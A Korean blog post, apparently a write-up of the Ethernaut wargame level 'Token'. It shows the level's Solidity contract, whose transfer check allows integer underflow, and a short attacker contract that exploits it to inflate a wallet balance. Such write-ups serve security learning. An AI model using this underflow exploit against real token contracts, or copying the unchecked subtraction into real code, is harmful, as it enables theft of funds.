본문 바로가기

블록체인/Ethernaut

[Ethernaut] 5. Token

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

 

목표

자신의 지갑 잔고를 늘려라.

 

방법

리믹스 IDE에서 다음과 같이 작성 후 배포 및 실행.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Token.sol";

contract TokenAttack {
    address owner;
    Token token;
    constructor(address _tokenAdr) public {
        owner = msg.sender;
        token = Token(_tokenAdr);
    }

    function attack() public {
        token.transfer(owner, 21);
        
    }

}

 

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 7. Force  (0) 2022.05.31
[Ethernaut] 6. Delegation  (0) 2022.05.30
[Ethernaut] 4. Telephone  (0) 2022.05.27
[Ethernaut] 3. Coin Flip  (0) 2022.05.25
[Ethernaut] 2. Fallout  (0) 2022.05.24